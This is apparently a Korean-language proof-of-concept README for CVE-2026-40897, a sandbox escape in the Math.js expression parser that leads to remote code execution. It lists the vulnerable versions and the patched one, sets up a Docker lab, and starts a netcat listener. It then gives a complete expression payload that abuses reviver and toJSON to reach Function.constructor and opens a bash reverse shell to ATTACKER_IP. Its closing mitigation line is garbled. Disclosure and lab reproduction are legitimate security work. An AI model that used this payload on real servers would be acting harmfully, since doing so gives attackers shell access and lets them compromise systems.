
Math.js Expression Parser RCE
★ CVE-2026-40897 Math.js PoC 원격 코드 실행 ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897은 Math.js 표현식 파서의 샌드박스 우회를 통한 원격 코드 실행(RCE) 취약점입니다.
isSafeProperty필터는 사용자 표현식의 속성 접근만 확인하고 내부 코드 경로는 확인하지 않습니다. 공격자는toJSON()을 통해ArrayNode의 내부 배열을 유출하고,.map을 덮어씀으로써 내부 코드가Function.constructor에 접근하여 임의의 JavaScript 코드를 실행하도록 강제할 수 있습니다.
| 카테고리 | 버전 |
|---|---|
| 취약한 | Math.js 13.1.1 ≤ version ≤ 15.1.1 |
| 패치됨 | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
취약한 환경을 시작한 후 다음 단계를 따라 공격을 재현합니다.
nc -lvnp 4444
다음 표현식을 math.evaluate로 전송합니다 (예: 애플리케이션의 계산 입력창을 통해).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=>callback({'map':f2(callback2)=>callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
대상 서버가 공격자의 리스너로 연결을 되돌려 대화형 bash 셸을 제공합니다.
math.evaluate()에 직접 전달하지 않음reviver, FunctionAssignmentNode, ArrayNode)의 노출 제한